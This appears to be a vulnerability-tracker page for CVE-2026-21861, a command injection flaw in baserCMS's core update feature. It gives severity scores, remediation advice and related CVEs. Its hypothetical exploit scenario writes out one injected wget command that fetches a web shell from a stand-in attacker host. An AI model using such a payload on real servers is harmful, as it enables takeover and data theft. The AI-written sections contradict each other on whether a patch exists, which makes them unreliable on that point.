Skip to main content

Basercms CVE-2026-21861

| EUVDEUVD-2026-17255 CRITICAL
OS Command Injection (CWE-78)
2026-03-31 GitHub_M GHSA-qxmc-6f24-g86g
9.1
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as administrator
  2. Delivery
    Access core update functionality
  3. Exploit
    Inject OS commands in input field
  4. Execution
    Pass unsanitized input to exec()
  5. Impact
    Execute arbitrary commands with server privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated administrator access to baserCMS versions prior to 5.2.3. Attacker must have high-privilege admin credentials to access the core update functionality where OS command injection payload can be injected into user-controlled input fields processed by exec().

Impact

While the CVSS 9.1 Critical score reflects maximum technical impact (complete confidentiality, integrity, and availability compromise with scope change to other system components), real-world risk is substantially constrained by the PR:H (high privileges required) prerequisite. Exploitation demands authenticated administrator access, meaning the vulnerability primarily threatens environments where admin credentials are compromised, insider threats exist, or hosting providers manage multiple customer instances with shared administrative interfaces. The AV:N (network attack vector) and AC:L (low complexity) indicate remote exploitation is straightforward once authentication hurdles are cleared. No public exploit code identified at time of analysis and no CISA KEV listing suggests this is not being actively exploited in the wild. The scope change (S:C) elevates severity for containerized or virtualized deployments where OS-level command execution could enable container escape or lateral movement. Organizations should prioritize based on threat model: critical for managed hosting providers and shared environments, moderate priority for single-tenant deployments with strong administrative access controls.

Exploit ScenarioDerived

An attacker who has compromised administrator credentials through phishing, credential stuffing, or insider access authenticates to the baserCMS administrative panel. They navigate to the core update functionality and inject malicious shell commands into input fields processed by the update routine, such as version parameters or file paths. For example, supplying a crafted input like '; wget attacker.com/shell.php -O /var/www/html/backdoor.php; echo ' would download and deploy a web shell, granting persistent access independent of the administrator session. From there, the attacker executes system reconnaissance commands, exfiltrates database credentials and customer data, establishes reverse shells for persistent access, or pivots to adjacent systems in hosting environments where scope change impacts are realized.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 31, 2026

OS command injection in baserCMS core update functionality allows authenticated administrators to execute arbitrary system commands on the server. The vulnerability affects baserCMS versions prior to 5.2.3, stemming from improper sanitization of user-controlled input passed directly to exec() functions. With CVSS 9.1 (Critical) due to network accessibility, low complexity, and cross-scope impact, this represents a severe risk in multi-tenant or managed hosting environments where administrative boundaries must be enforced. EPSS data not available, no CISA KEV listing confirmed, and authentication requirements (PR:H) limit exploit surface to compromised or malicious administrator accounts.

RemediationAI

Upgrade immediately to baserCMS version 5.2.3 or later, which includes input validation and sanitization fixes for the command injection vulnerability in the core update functionality. The patched release is available through the official GitHub repository at github.com/baserproject/basercms/releases/tag/5.2.3. Organizations unable to upgrade immediately should implement compensating controls including restricting network access to administrative interfaces via IP whitelisting or VPN, enforcing multi-factor authentication for all administrator accounts, monitoring system logs for suspicious exec() calls or unexpected child processes spawned by web server processes, and auditing administrator account access to detect potential credential compromise. Review and rotate administrator credentials if any indication of unauthorized access exists. Detailed security guidance is published in GitHub Security Advisory GHSA-qxmc-6f24-g86g and vendor advisory at basercms.net/security/JVN_20837860.

Affected VersionsENISA

basercms < 5.2.3

Affected Packages

composer baserproject/basercms fix: 5.2.3
euvd basercms fix: 5.2.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability exploits the core update mechanism in baserCMS, a PHP-based website development framework maintained by the baserCMS project. The flaw is classified as CWE-78 (OS Command Injection), occurring when the application passes unsanitized administrator-supplied input directly to PHP's exec() function or similar system command execution primitives. In typical CMS architectures, update routines may accept parameters like file paths, URLs, or version identifiers that, without proper escaping or whitelisting, can be manipulated to inject shell metacharacters (semicolons, pipes, backticks) enabling arbitrary command execution. The affected CPE (cpe:2.3:a:baserproject:basercms) confirms this impacts the core baserCMS application itself rather than third-party plugins, making it a framework-level security defect affecting all installations below version 5.2.3.

Know when Basercms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 01, 2026 - 02:30 nvd
Patch available
CVE Published
Mar 31, 2026 - 00:43 nvd
CRITICAL 9.1

DescriptionGitHub Advisory

baserCMS is a website development framework. Prior to version 5.2.3, baserCMS contains an OS command injection vulnerability in the core update functionality. An authenticated administrator can execute arbitrary OS commands on the server due to improper handling of user-controlled input that is directly passed to exec() without sufficient validation or escaping. This issue has been patched in version 5.2.3.

Executive ViewAI

Why It Matters

baserCMS versions prior to 5.2.3 contain a critical command injection vulnerability in the core update functionality that allows authenticated administrators to execute arbitrary system commands with full server privileges. Organizations running affected versions face severe operational risk if administrator accounts are compromised, particularly in multi-tenant or managed hosting environments where administrative isolation is a security boundary. Immediate inventory and containment of baserCMS deployments is required to prevent potential lateral movement and data exfiltration.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict administrative console access to trusted IP ranges or VPN; (2) Implement multi-factor authentication for all administrator accounts; (3) Enable command execution logging and real-time alerting on exec() function calls; (4) Disable baserCMS auto-update functionality and require manual, reviewed updates only; (5) Monitor file system and process execution for unexpected administrator-initiated activity; (6) Segregate baserCMS instances by tenant in multi-tenant environments to limit cross-tenant impact if one administrator account is compromised.

Threat Intelligence Overview

EPSS Score
0.2%
Top 61% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2018-18942 HIGH POC
7.2 Nov 05

In baserCMS before 4.1.4, lib\Baser\Model\ThemeConfig.php allows remote attackers to execute arbitrary PHP code via the

CVE-2017-10842 CRITICAL
9.8 Aug 29

SQL injection vulnerability in the baserCMS 3.0.14 and earlier, 4.0.5 and earlier allows remote attackers to execute arb

CVE-2023-43792 CRITICAL
9.8 Oct 30

baserCMS is a website development framework. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploita

CVE-2023-43649 CRITICAL
9.8 Oct 30

baserCMS is a website development framework. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploita

CVE-2023-25655 CRITICAL
9.8 Mar 23

baserCMS is a Content Management system. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,

CVE-2023-25654 CRITICAL
9.8 Mar 23

baserCMS is a Content Management system. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,

CVE-2017-10844 HIGH
8.8 Aug 29

baserCMS 3.0.14 and earlier, 4.0.5 and earlier allows an attacker to execute arbitrary PHP code on the server via unspec

CVE-2016-4879 HIGH
8.8 May 12

Cross-site request forgery (CSRF) vulnerability in baserCMS plugin Mail version 3.0.10 and earlier allows remote attacke

CVE-2016-4881 HIGH
8.8 May 12

Cross-site request forgery (CSRF) vulnerability in baserCMS plugin Blog version 3.0.10 and earlier allows remote attacke

CVE-2016-4878 HIGH
8.8 May 12

Cross-site request forgery (CSRF) vulnerability in baserCMS version 3.0.10 and earlier allows remote attackers to hijack

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy